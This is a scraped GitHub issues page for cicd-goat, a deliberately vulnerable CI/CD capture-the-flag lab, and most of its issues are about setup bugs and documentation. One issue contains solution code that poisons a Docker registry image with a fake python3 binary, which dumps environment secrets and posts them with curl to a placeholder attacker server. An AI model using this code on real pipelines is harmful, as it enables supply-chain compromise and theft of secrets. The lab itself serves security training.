cider-security-research / cicd-goat Goto Github PK
View Code? Open in Web Editor NEWA deliberately vulnerable CI/CD environment. Learn CI/CD security through multiple challenges.
License: Apache License 2.0
A deliberately vulnerable CI/CD environment. Learn CI/CD security through multiple challenges.
License: Apache License 2.0
Paid subscriptions of Docker Hub for organizations allow for the restrictions of what repositories their members can interact with.
https://docs.docker.com/docker-hub/image-access-management/
With image access management turned on, community images are restricted [blocked] by default. This covers the cicd-goat images and disallows them from running the platform.
There does not seem to be a way for administrators to allow individual Docker Hub repositories in the image access management settings.
Some solutions off the top of my head don't sound great:
Running builds on the built-in node is a big security risk in Jenkins and strongly discouraged. As this environment has no protections for the built-in node, the Cheshire Cat pipeline's intended solution, perhaps inadvertently, gives the filesystem access needed to obtain all flags (with the exception of Duchess). This is perhaps not ideal (checklist item 4 in the readme points out this shouldn't be possible).
Hi,
I have altered the pygryphon repo and built and updated the package for pygryphon, but my awesome-app pipeline never seems to be triggering. It is counting down every 10 minutes, however it is never executing a new pipeline and is always showing the last run to be 10 hours ago from administrator.
I tried logging on to manually trigger the pipeline from the gryphon user but found I did not have permission to do so.
cicd-goat/solutions/twiddledum.md
Line 15 in 00edb3e
FLAG6 is selected as the flag with no obvious rationale. Why FLAG6?
I do not know if it's intended, gryphon
user has developer permissions and cannot run pipelines for wonderland/awesome-app
and wonderland/nest-of-gold
.
I have logged in as root and bumped permission to maintainer for gryphon
user and then pipelines were able to run 10 minutes.
I have also checked solution in https://github.com/cider-security-research/cicd-goat/blob/main/solutions/gryphon.md and guess pipelines worked there at the time of writing.
Alice is able to merge her own PRs to Wonderland/mock-turtle
.
No need to be clever with the diff when you can press Merge (which is pretty clearly not the intended approach).
At a glance,
Lines 94 to 101 in fd2e42a
Hello,
Very nice job with this CTF!
I noticed that some of the containers run with as "root" user. This goes against security best practices.
So, I was wondering whether this is necessary for the CTF to work correctly. If not, I would suggest changing the user to a randomized UID for the following containers:
Hi,
it seems like gitea is not loading properly because the database is locked for some reason.
I have no cpu or ram restriction in place so I can rule out any race condition based on performance issues. After a while the webserver for gitea starts but without any users and repos obviously.
Everything else works as expected. Do you have any idea why this might happened?
docker-compose logs gitea
...
gitea | 2023/03/31 19:50:24 routers/init.go:131:GlobalInitInstalled() [I] SQLite3 support is enabled
gitea | 2023/03/31 19:50:24 routers/common/db.go:20:InitDBEngine() [I] Beginning ORM engine initialization.
gitea | 2023/03/31 19:50:24 routers/common/db.go:27:InitDBEngine() [I] ORM engine initialization attempt #1/10...
gitea | 2023/03/31 19:50:24 cmd/web.go:153:runWeb() [I] PING DATABASE sqlite3
gitea | 2023/03/31 19:50:38 main.go:117:main() [F] Failed to run app with [/usr/local/bin/gitea admin user create --username red_queen --password ciderland5# --email queen@localhost --admin]: CreateUser: database is locked
gitea | DEBUG:urllib3.connectionpool:Starting new HTTP connection (1): localhost:3000
gitea | Traceback (most recent call last):
gitea | File "/usr/lib/python3.8/site-packages/urllib3/connection.py", line 174, in _new_conn
gitea | conn = connection.create_connection(
gitea | File "/usr/lib/python3.8/site-packages/urllib3/util/connection.py", line 95, in create_connection
gitea | raise err
gitea | File "/usr/lib/python3.8/site-packages/urllib3/util/connection.py", line 85, in create_connection
gitea | sock.connect(sa)
gitea | ConnectionRefusedError: [Errno 111] Connection refused
gitea |
gitea | During handling of the above exception, another exception occurred:
gitea |
gitea | Traceback (most recent call last):
gitea | File "/usr/lib/python3.8/site-packages/urllib3/connectionpool.py", line 703, in urlopen
gitea | httplib_response = self._make_request(
gitea | File "/usr/lib/python3.8/site-packages/urllib3/connectionpool.py", line 398, in _make_request
gitea | conn.request(method, url, **httplib_request_kw)
gitea | File "/usr/lib/python3.8/site-packages/urllib3/connection.py", line 239, in request
gitea | super(HTTPConnection, self).request(method, url, body=body, headers=headers)
gitea | File "/usr/lib/python3.8/http/client.py", line 1256, in request
gitea | self._send_request(method, url, body, headers, encode_chunked)
gitea | File "/usr/lib/python3.8/http/client.py", line 1302, in _send_request
gitea | self.endheaders(body, encode_chunked=encode_chunked)
gitea | File "/usr/lib/python3.8/http/client.py", line 1251, in endheaders
gitea | self._send_output(message_body, encode_chunked=encode_chunked)
gitea | File "/usr/lib/python3.8/http/client.py", line 1011, in _send_output
gitea | self.send(msg)
gitea | File "/usr/lib/python3.8/http/client.py", line 951, in send
gitea | self.connect()
gitea | File "/usr/lib/python3.8/site-packages/urllib3/connection.py", line 205, in connect
gitea | conn = self._new_conn()
gitea | File "/usr/lib/python3.8/site-packages/urllib3/connection.py", line 186, in _new_conn
gitea | raise NewConnectionError(
gitea | urllib3.exceptions.NewConnectionError: <urllib3.connection.HTTPConnection object at 0x7f4568915af0>: Failed to establish a new connection: [Errno 111] Connection refused
gitea |
gitea | During handling of the above exception, another exception occurred:
gitea |
gitea | Traceback (most recent call last):
gitea | File "/usr/lib/python3.8/site-packages/requests/adapters.py", line 440, in send
gitea | resp = conn.urlopen(
gitea | File "/usr/lib/python3.8/site-packages/urllib3/connectionpool.py", line 785, in urlopen
gitea | retries = retries.increment(
gitea | File "/usr/lib/python3.8/site-packages/urllib3/util/retry.py", line 592, in increment
gitea | raise MaxRetryError(_pool, url, error or ResponseError(cause))
gitea | urllib3.exceptions.MaxRetryError: HTTPConnectionPool(host='localhost', port=3000): Max retries exceeded with url: /api/v1/users/red_queen/tokens (Caused by NewConnectionError('<urllib3.connection.HTTPConnection object at 0x7f4568915af0>: Failed to establish a new connection: [Errno 111] Connection refused'))
gitea |
gitea | During handling of the above exception, another exception occurred:
gitea |
gitea | Traceback (most recent call last):
gitea | File "/usr/lib/python3.8/runpy.py", line 194, in _run_module_as_main
gitea | return _run_code(code, main_globals, None,
gitea | File "/usr/lib/python3.8/runpy.py", line 87, in _run_code
gitea | exec(code, run_globals)
gitea | File "/setup/giteacasc/__main__.py", line 4, in <module>
gitea | giteacasc()
gitea | File "/usr/lib/python3.8/site-packages/click/core.py", line 1130, in __call__
gitea | return self.main(*args, **kwargs)
gitea | File "/usr/lib/python3.8/site-packages/click/core.py", line 1055, in main
gitea | rv = self.invoke(ctx)
gitea | File "/usr/lib/python3.8/site-packages/click/core.py", line 1404, in invoke
gitea | return ctx.invoke(self.callback, **ctx.params)
gitea | File "/usr/lib/python3.8/site-packages/click/core.py", line 760, in invoke
gitea | return __callback(*args, **kwargs)
gitea | File "/setup/giteacasc/__init__.py", line 23, in giteacasc
gitea | g = Gitea(admin_username, admin_password)
gitea | File "/setup/giteacasc/gitea.py", line 20, in __init__
gitea | res = requests.post(f'{self.API_BASE_URL}/users/{username}/tokens',
gitea | File "/usr/lib/python3.8/site-packages/requests/api.py", line 117, in post
gitea | return request('post', url, data=data, json=json, **kwargs)
gitea | File "/usr/lib/python3.8/site-packages/requests/api.py", line 61, in request
gitea | return session.request(method=method, url=url, **kwargs)
gitea | File "/usr/lib/python3.8/site-packages/requests/sessions.py", line 529, in request
gitea | resp = self.send(prep, **send_kwargs)
gitea | File "/usr/lib/python3.8/site-packages/requests/sessions.py", line 645, in send
gitea | r = adapter.send(request, **kwargs)
gitea | File "/usr/lib/python3.8/site-packages/requests/adapters.py", line 519, in send
gitea | raise ConnectionError(e, request=request)
gitea | requests.exceptions.ConnectionError: HTTPConnectionPool(host='localhost', port=3000): Max retries exceeded with url: /api/v1/users/red_queen/tokens (Caused by NewConnectionError('<urllib3.connection.HTTPConnection object at 0x7f4568915af0>: Failed to establish a new connection: [Errno 111] Connection refused'))
gitea | /usr/bin/entrypoint (wd: /)
gitea | 2023/03/31 19:52:51 routers/init.go:137:GlobalInitInstalled() [I] ORM engine initialization successful!
gitea | 2023/03/31 19:52:54 ...xer/stats/indexer.go:39:populateRepoIndexer() [I] Populating the repo stats indexer with existing repositories
gitea | 2023/03/31 19:52:54 ...er/issues/indexer.go:144:func2() [I] PID 17: Initializing Issue Indexer: bleve
gitea | 2023/03/31 19:52:55 ...er/issues/indexer.go:223:func3() [I] Issue Indexer Initialization took 602.900149ms
gitea | 2023/03/31 19:52:55 routers/init.go:86:syncAppPathForGit() [I] AppPath changed from '' to '/usr/local/bin/gitea'
gitea | 2023/03/31 19:52:55 routers/init.go:88:syncAppPathForGit() [I] re-sync repository hooks ...
gitea | 2023/03/31 19:52:55 routers/init.go:91:syncAppPathForGit() [I] re-write ssh public keys ...
gitea | 2023/03/31 19:52:56 cmd/web.go:208:listen() [I] Listen: http://0.0.0.0:3000
gitea | 2023/03/31 19:52:56 cmd/web.go:212:listen() [I] AppURL(ROOT_URL): http://localhost:3000/
gitea | 2023/03/31 19:52:56 cmd/web.go:215:listen() [I] LFS server enabled
gitea | 2023/03/31 19:52:56 ...s/graceful/server.go:61:NewServer() [I] Starting new Web server: tcp:0.0.0.0:3000 on PID: 17
gitea | 2023/03/31 19:54:01 Started GET /api/v1/repos/Wonderland/caterpillar for 172.22.0.5:50470
gitea | 2023/03/31 19:54:01 Completed GET /api/v1/repos/Wonderland/caterpillar 404 Not Found in 2.546312ms
gitea | 2023/03/31 19:54:01 Started GET /api/v1/repos/Wonderland/mad-hatter for 172.22.0.5:50472
gitea | 2023/03/31 19:54:01 Completed GET /api/v1/repos/Wonderland/mad-hatter 404 Not Found in 1.090362ms
gitea | 2023/03/31 19:54:01 Started GET /api/v1/repos/Wonderland/dormouse for 172.22.0.5:50486
gitea | 2023/03/31 19:54:01 Completed GET /api/v1/repos/Wonderland/dormouse 404 Not Found in 889.327µs
gitea | 2023/03/31 19:54:01 Started GET /api/v1/repos/Wonderland/caterpillar for 172.22.0.5:50490
gitea | 2023/03/31 19:54:01 Completed GET /api/v1/repos/Wonderland/caterpillar 404 Not Found in 2.295161ms
$ docker info
Client:
Context: default
Debug Mode: false
Plugins:
compose: Docker Compose (Docker Inc.)
Version: 2.17.2
Path: /usr/lib/docker/cli-plugins/docker-compose
Server:
Containers: 10
Running: 9
Paused: 0
Stopped: 1
Images: 12
Server Version: 23.0.1
Storage Driver: overlay2
Backing Filesystem: extfs
Supports d_type: true
Using metacopy: true
Native Overlay Diff: false
userxattr: false
Logging Driver: json-file
Cgroup Driver: systemd
Cgroup Version: 2
Plugins:
Volume: local
Network: bridge host ipvlan macvlan null overlay
Log: awslogs fluentd gcplogs gelf journald json-file local logentries splunk syslog
Swarm: inactive
Runtimes: io.containerd.runc.v2 runc
Default Runtime: runc
Init Binary: docker-init
containerd version: 1fbd70374134b891f97ce19c70b6e50c7b9f4e0d.m
runc version:
init version: de40ad0
Security Options:
seccomp
Profile: builtin
cgroupns
Kernel Version: 6.2.8-arch1-1
Operating System: Arch Linux
OSType: linux
Architecture: x86_64
CPUs: 8
Total Memory: 15.51GiB
Name: <redacted>
ID: <redacted>
Docker Root Dir: /mnt/hdd_linux/docker
Debug Mode: false
Registry: https://index.docker.io/v1/
Experimental: false
Insecure Registries:
127.0.0.0/8
Live Restore Enabled: false
Docker is moving towards a plugin model and away from docker-compose
.
Newer invocations drop the hyphen: docker compose
.
Additional context: https://docs.docker.com/compose/cli-command-compatibility/
Happy to submit a PR to update the documentation if that's appropriate.
the python script:
DOCKERFILE = """FROM python:3.8
COPY python3 /usr/local/bin/
COPY python3 /usr/local/bin/pip3"""
# Exfiltrate Flag11. Insert your server address
PYTHON3 = """#!/bin/bash
env | grep FLAG11 | curl -X POST --data-binary @- https://ATTACKER[.]SERVER/"""
in the pipeline of nest-of-gold:
- apk add docker-cli openssh-client
- echo $SSH_KEY | base64 -d > key && chmod 400 key
- set -m
- ssh -fN -o StrictHostKeyChecking=no -i key -L 1111:127.0.0.1:2376 root@prod
- export DOCKER_HOST=tcp://127.0.0.1:1111
- docker build --pull -t web:latest .
- docker stop web || true
- docker rm web || true
- docker login -u gryphon -p $TOKEN $CI_REGISTRY
- docker run -d -e FLAG11=$FLAG11 -p 5000:5000 --name web web:latest
the "curl -X POST ..." will happen when execute "docker build --pull -t web:latest .",but env don't have $FLAG11 now.
And will error:
the image will build fail.
So we should execute malicious code when "python3" not "pip3".This is my solution:
import subprocess
DOCKERFILE = """FROM python:3.8
COPY python3 /usr/local/bin/python3.bak
RUN mv /usr/local/bin/pip3 /usr/local/bin/pip3.bak
COPY pip3 /usr/local/bin/pip3
"""
# Exfiltrate Flag11. Insert your server address
PYTHON3 = """#!/bin/bash
env > /tmp/flag.txt;
curl http://ip:port/ -F file=@/tmp/flag.txt
"""
PIP3 ="""#!/bin/bash
/usr/local/bin/pip3.bak install -r requirements.txt
mv /usr/local/bin/python3.bak /usr/local/bin/python3
"""
def run(cmd):
proc = subprocess.run(cmd, shell=True, timeout=180)
print(proc.stdout)
print(proc.stderr)
def hello(name):
"""
We will build and push a malicous docker image as if it were python 3.8, but in fact
the python3 binary will be our evil script
"""
run('apk add docker-cli')
with open('Dockerfile', 'w') as f:
f.write(DOCKERFILE)
with open('python3', 'w') as f:
f.write(PYTHON3)
with open('pip3','w') as f:
f.write(PIP3)
# Grant our script execution permission
run('chmod +x python3')
run('chmod +x pip3')
# Build the docker file
run('DOCKER_HOST=tcp://docker:2375 docker build -t gitlab:5050/wonderland/nest-of-gold/python:3.8 .')
# Login to the docker registry using TOKEN
run('DOCKER_HOST=tcp://docker:2375 docker login -u gryphon -p $TOKEN $CI_REGISTRY')
# Push our malicious python docker image to the registry
run('DOCKER_HOST=tcp://docker:2375 docker push gitlab:5050/wonderland/nest-of-gold/python:3.8')
return "Hello, " + name
Reading the solution for twiddledum, it doesn't explain why tagging is necessary for the exploit to work. The requirement to tag should be made more clear.
Install cicd-goat
$ curl -o cicd-goat/docker-compose.yaml --create-dirs https://raw.githubusercontent.com/cider-security-research/cicd-goat/main/docker-compose.yaml
$ cd cicd-goat && docker-compose up -d
Ubuntu 22.04 and Ubuntu 20.04.
Docker version 20.10.21, build 20.10.21-0ubuntu1~22.04.2
$ docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
cbd97a1cdcfb docker:20.10.21-dind "dockerd-entrypoint.…" 30 minutes ago Up 30 minutes 2375-2376/tcp docker
efd39d190e1f cidersecurity/goat-gitea:latest "/setup/run.sh" 30 minutes ago Up 30 minutes 22/tcp, 0.0.0.0:3000->3000/tcp, :::3000->3000/tcp gitea
b5fe8c5e6728 localstack/localstack:0.14.1-amd64 "docker-entrypoint.sh" 30 minutes ago Up 30 minutes 4510-4559/tcp, 4566/tcp, 5678/tcp localstack
8c037b4d677d cidersecurity/goat-jenkins-agent:latest "setup-sshd" 30 minutes ago Up 30 minutes 22/tcp jenkins-agent
c963e1b59026 cidersecurity/goat-gitlab:latest "/setup/run.sh" 30 minutes ago Up 30 minutes (unhealthy) 22/tcp, 443/tcp, 0.0.0.0:5050->5050/tcp, :::5050->5050/tcp, 0.0.0.0:4000->80/tcp, :::4000->80/tcp gitlab
55eddb2c3f57 cidersecurity/goat-prod:latest "dockerd-entrypoint.…" 30 minutes ago Up 30 minutes 2375-2376/tcp, 0.0.0.0:2222->22/tcp, :::2222->22/tcp, 0.0.0.0:8008->80/tcp, :::8008->80/tcp prod
16dc909767de cidersecurity/goat-jenkins-server:latest "/var/jenkins_home/r…" 30 minutes ago Restarting (1) 6 seconds ago jenkins-server
6ee968e97414 cidersecurity/goat-gitlab-runner:latest "/setup/run.sh" 30 minutes ago Up 30 minutes 2375-2376/tcp gitlab-runner
7d92c7e55e1c cidersecurity/goat-ctfd:latest "/opt/CTFd/docker-en…" 30 minutes ago Up 30 minutes 0.0.0.0:8000->8000/tcp, :::8000->8000/tcp ctfd
The jenkins-server container is having difficulties.
[WARN tini (7)] Tini is not running as PID 1 and isn't registered as a child subreaper.
Zombie processes will not be re-parented to Tini, so zombie reaping won't work.
To fix the problem, use the -s option or set the environment variable TINI_SUBREAPER to register Tini as a child subreaper, or run Tini as PID 1.
rm: cannot remove '/var/jenkins_home/secrets.properties': No such file or directory
rm: cannot remove '/var/jenkins_home/jenkins.yaml': No such file or directory
/var/jenkins_home/run.sh: line 14: fg: no job control
This error is repeated over and over again.
Hi,
first of all thanks for this very cool project!
I tried it locally and I could only see the pre-created accounts and when I tried, for instance, to create a new Jenkins
users I noticed it was not possible.
If i wanted to use it but allowing the users to register and try the challenges independently without seeing what the other user have done what should I need to need?
My final goal is to try this project but with multiple people/team registered. Maybe via ctfd would be easier?
Thanks
GitLab throws 502 error from the API gateway during the configuration process. It's worth mentioning that according to my tests GitLab does work on M2.
I'm looking into a solution and I'll update this issue soon with the results.
Currently it looks like adding the platform: "linux/amd64"
field to GitLab may solve the issue on the latest Docker Desktop version and the latest GitLab image version.
Since Jenkins 2.326, the agent-to-controller security subsystem is always enabled, so
cicd-goat/jenkins-server/casc.yaml
Lines 130 to 131 in fd2e42a
2022-04-14 13:05:58.980+0000 [id=30] INFO j.s.s2m.AdminWhitelistRule#setMasterKillSwitch: Setting AdminWhitelistRule no longer has any effect. See https://www.jenkins.io/redirect/AdminWhitelistRule to learn more.
java.lang.Exception
at jenkins.security.s2m.AdminWhitelistRule.setMasterKillSwitch(AdminWhitelistRule.java:34)
at io.jenkins.plugins.casc.core.AdminWhitelistRuleConfigurator.lambda$describe$1(AdminWhitelistRuleConfigurator.java:68)
at io.jenkins.plugins.casc.Attribute.setValue(Attribute.java:231)
at io.jenkins.plugins.casc.BaseConfigurator.configure(BaseConfigurator.java:356)
at io.jenkins.plugins.casc.BaseConfigurator.configure(BaseConfigurator.java:275)
at io.jenkins.plugins.casc.BaseConfigurator.configure(BaseConfigurator.java:351)
at io.jenkins.plugins.casc.BaseConfigurator.configure(BaseConfigurator.java:269)
at io.jenkins.plugins.casc.ConfigurationAsCode.lambda$configureWith$6(ConfigurationAsCode.java:768)
at io.jenkins.plugins.casc.ConfigurationAsCode.invokeWith(ConfigurationAsCode.java:712)
at io.jenkins.plugins.casc.ConfigurationAsCode.configureWith(ConfigurationAsCode.java:768)
at io.jenkins.plugins.casc.ConfigurationAsCode.configureWith(ConfigurationAsCode.java:637)
at io.jenkins.plugins.casc.ConfigurationAsCode.configure(ConfigurationAsCode.java:306)
at io.jenkins.plugins.casc.ConfigurationAsCode.init(ConfigurationAsCode.java:298)
at java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
at java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
at java.base/jdk.internal.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
at java.base/java.lang.reflect.Method.invoke(Method.java:566)
at hudson.init.TaskMethodFinder.invoke(TaskMethodFinder.java:109)
at hudson.init.TaskMethodFinder$TaskImpl.run(TaskMethodFinder.java:185)
at org.jvnet.hudson.reactor.Reactor.runTask(Reactor.java:305)
at jenkins.model.Jenkins$5.runTask(Jenkins.java:1156)
at org.jvnet.hudson.reactor.Reactor$2.run(Reactor.java:222)
at org.jvnet.hudson.reactor.Reactor$Node.run(Reactor.java:121)
at jenkins.security.ImpersonatingExecutorService$1.run(ImpersonatingExecutorService.java:68)
at java.base/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1128)
at java.base/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628)
at java.base/java.lang.Thread.run(Thread.java:829)
Hi, guys!
Amazing lab, thank you!
I have question about task 10, file Jenkinsfile, line 14. This condition ought to be true to merge my pull request in the main branch. But this condition can't be true because $(wc -l <version)
always return 1 (1 string in the file) and it's can't be equal to 0.
Thank you in advance.
Problems when dependencies are not supported or have been discontinued, should be fixed
My solutions:
https://github.com/cider-security-research/cicd-goat/blob/main/gitlab/repositories/nest-of-gold/requirements.txt need change to
flask==2.1.0
Werkzeug==2.0.0
flask-login==0.5.0
pytest==7.2.0
Thanks you!
From a learning perspective, I believe that it would be beneficial if each challenge could in some way be mapped to one or more of the Cider Top 10 CICD security risks at https://github.com/cider-security-research/top-10-cicd-security-risks. That way, pen testers / DevSecOps can more easily explain to DevOps why certain security measures should be taken as they will have a 'this is what could happen' link from each top 10, and a reverse 'this is what you should do to avoid' link from each challenge.
I'm going to map them myself for my own mentoring but sharing the suggestion here too.
M1 Mac running OS X 12.3.1. Tried with both docker experimental features off and on.
In some cases requests just hang. In other cases Jenkins starts but displays the error below. The Jenkins server appears to get further on the second boot after running docker-compose up jenkins_server jenkins_agent
.
➜ cicd-goat docker --version
Docker version 20.10.14, build a224086
➜ cicd-goat docker-compose --version
Docker Compose version v2.4.1
Jenkins Server Logs:
Hangs:
jenkins-server | [WARN tini (10)] Tini is not running as PID 1 and isn't registered as a child subreaper.
jenkins-server | Zombie processes will not be re-parented to Tini, so zombie reaping won't work.
jenkins-server | To fix the problem, use the -s option or set the environment variable TINI_SUBREAPER to register Tini as a child subreaper, or run Tini as PID 1.
jenkins-server | Running from: /usr/share/jenkins/jenkins.war
jenkins-server | webroot: EnvVars.masterEnvVars.get("JENKINS_HOME")
Starts but displays error:
java.io.FileNotFoundException: /var/jenkins_home/jobdsl/white-rabbit.groovy (No such file or directory)
at java.base/java.io.FileInputStream.open0(Native Method)
at java.base/java.io.FileInputStream.open(FileInputStream.java:219)
at java.base/java.io.FileInputStream.<init>(FileInputStream.java:157)
at org.apache.commons.io.FileUtils.openInputStream(FileUtils.java:2388)
at org.apache.commons.io.FileUtils.readFileToString(FileUtils.java:2506)
at javaposse.jobdsl.plugin.casc.FromFileScriptSource.getScript(FromFileScriptSource.java:23)
at javaposse.jobdsl.plugin.casc.SeedJobConfigurator.lambda$getScriptFromSource$becf3cba$1(SeedJobConfigurator.java:125)
at io.vavr.CheckedFunction0.lambda$unchecked$52349c75$1(CheckedFunction0.java:247)
at javaposse.jobdsl.plugin.casc.SeedJobConfigurator.getScriptFromSource(SeedJobConfigurator.java:125)
at javaposse.jobdsl.plugin.casc.SeedJobConfigurator.lambda$configure$2(SeedJobConfigurator.java:69)
at java.base/java.util.stream.ReferencePipeline$3$1.accept(ReferencePipeline.java:195)
at java.base/java.util.stream.ReferencePipeline$3$1.accept(ReferencePipeline.java:195)
at java.base/java.util.stream.Streams$StreamBuilderImpl.forEachRemaining(Streams.java:411)
at java.base/java.util.stream.ReferencePipeline$Head.forEach(ReferencePipeline.java:658)
at java.base/java.util.stream.ReferencePipeline$7$1.accept(ReferencePipeline.java:274)
at java.base/java.util.ArrayList$ArrayListSpliterator.forEachRemaining(ArrayList.java:1655)
at java.base/java.util.stream.AbstractPipeline.copyInto(AbstractPipeline.java:484)
at java.base/java.util.stream.AbstractPipeline.wrapAndCopyInto(AbstractPipeline.java:474)
at java.base/java.util.stream.AbstractPipeline.evaluate(AbstractPipeline.java:550)
at java.base/java.util.stream.AbstractPipeline.evaluateToArrayNode(AbstractPipeline.java:260)
at java.base/java.util.stream.ReferencePipeline.toArray(ReferencePipeline.java:517)
at javaposse.jobdsl.plugin.casc.SeedJobConfigurator.configure(SeedJobConfigurator.java:71)
at javaposse.jobdsl.plugin.casc.SeedJobConfigurator.configure(SeedJobConfigurator.java:32)
at io.jenkins.plugins.casc.ConfigurationAsCode.lambda$configureWith$6(ConfigurationAsCode.java:768)
at io.jenkins.plugins.casc.ConfigurationAsCode.invokeWith(ConfigurationAsCode.java:712)
at io.jenkins.plugins.casc.ConfigurationAsCode.configureWith(ConfigurationAsCode.java:768)
at io.jenkins.plugins.casc.ConfigurationAsCode.configureWith(ConfigurationAsCode.java:637)
at io.jenkins.plugins.casc.ConfigurationAsCode.configure(ConfigurationAsCode.java:306)
at io.jenkins.plugins.casc.ConfigurationAsCode.init(ConfigurationAsCode.java:298)
Caused: java.lang.reflect.InvocationTargetException
at java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
at java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
at java.base/jdk.internal.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
at java.base/java.lang.reflect.Method.invoke(Method.java:566)
at hudson.init.TaskMethodFinder.invoke(TaskMethodFinder.java:109)
Caused: java.lang.Error
at hudson.init.TaskMethodFinder.invoke(TaskMethodFinder.java:115)
at hudson.init.TaskMethodFinder$TaskImpl.run(TaskMethodFinder.java:185)
at org.jvnet.hudson.reactor.Reactor.runTask(Reactor.java:305)
at jenkins.model.Jenkins$5.runTask(Jenkins.java:1156)
at org.jvnet.hudson.reactor.Reactor$2.run(Reactor.java:222)
at org.jvnet.hudson.reactor.Reactor$Node.run(Reactor.java:121)
at jenkins.security.ImpersonatingExecutorService$1.run(ImpersonatingExecutorService.java:68)
at java.base/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1128)
at java.base/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628)
at java.base/java.lang.Thread.run(Thread.java:829)
Caused: org.jvnet.hudson.reactor.ReactorException
at org.jvnet.hudson.reactor.Reactor.execute(Reactor.java:291)
at jenkins.InitReactorRunner.run(InitReactorRunner.java:49)
at jenkins.model.Jenkins.executeReactor(Jenkins.java:1191)
at jenkins.model.Jenkins.<init>(Jenkins.java:981)
at hudson.model.Hudson.<init>(Hudson.java:86)
at hudson.model.Hudson.<init>(Hudson.java:82)
at hudson.WebAppMain$3.run(WebAppMain.java:247)
Caused: hudson.util.HudsonFailedToLoad
at hudson.WebAppMain$3.run(WebAppMain.java:264)
The CTFD container is exiting after spawning due to error :
sqlite3.OperationalError: unable to open database file
The current deployment exposes all of the services to the host network. For added security and for those who do not want to have these exposed this way and to only have them exposed locally, please provide an option for loopback binding only.
Top-level credentials in Jenkins can have scope "Global" or "System". You use the latter for credentials for agents etc. that should not be made available to jobs. The description of "Hearts" states:
These are System credentials stored on Jenkins!
For anyone aware of this distinction, this would be misleading. A pipeline would not have access to System scoped credentials.
When following the instructions to grab the repository and run docker-compose
, I noticed CTFd, localstack, and GitLab were not starting properly. The issue was an exec format error
, meaning a lack of architecture support for ARM.
I was able to get both localstack and CTFd working as both now support ARM64 images inherently.
With localstack, I simply changed the docker-compose
to pull localstack/localstack
which now selects the appropriate image based on architecture:
https://docs.localstack.cloud/references/arm64-support/
However, I understand the security implications of using the latest
tag with 3rd-party supplied images, so if it helps at all I did test and ensure that the last static tag does in fact work with no conflicts in the project: localstack/localstack:3.0.2
For CTFd, I had to build a new image locally since I don't have access to the goat-ctfd
instance. This was also a pretty simple fix, as CTFd also now supports ARM64.
I changed the Dockerfile to pull FROM --platform=linux/arm64 ctfd/ctfd:3.5.1
and tested to verify it works with no conflicts.
I'm not sure how to use the multi-arch version of this going forward as I'm pretty new to these concepts (this in and of itself was a fun project) - clearly this would need to change to be adopted for all users of the project.
It appears that GitLab does not (?) officially support a multi-arch Docker image that supports ARM64. Looking into solutions for this.
As I'm fairly new to these concepts and this would be my first PR, please don't hesitate to add any necessary code that I'm missing. Appreciate the team for creating the project and hoping I can help others using M1/ARM systems to engage with it!
A declarative, efficient, and flexible JavaScript library for building user interfaces.
🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.
TypeScript is a superset of JavaScript that compiles to clean JavaScript output.
An Open Source Machine Learning Framework for Everyone
The Web framework for perfectionists with deadlines.
A PHP framework for web artisans
Bring data to life with SVG, Canvas and HTML. 📊📈🎉
JavaScript (JS) is a lightweight interpreted programming language with first-class functions.
Some thing interesting about web. New door for the world.
A server is a program made to process requests and deliver data to clients.
Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.
Some thing interesting about visualization, use data art
Some thing interesting about game, make everyone happy.
We are working to build community through open source technology. NB: members must have two-factor auth.
Open source projects and samples from Microsoft.
Google ❤️ Open Source for everyone.
Alibaba Open Source for everyone
Data-Driven Documents codes.
China tencent open source team.